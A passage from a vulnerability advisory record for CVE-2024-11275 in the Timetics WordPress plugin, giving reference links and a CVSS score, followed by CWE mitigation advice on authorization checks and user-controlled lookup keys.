  "modified": "2024-12-13T09:31:13Z",
  "published": "2024-12-13T09:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-11275"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/timetics/trunk/core/customers/api-customer.php#L308"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3206505%40timetics\u0026new=3206505%40timetics\u0026sfp_email=\u0026sfph_mail=#file199"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d68e250e-d850-4100-81db-3e3c48a3a4a1?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.

← Back to the CWE list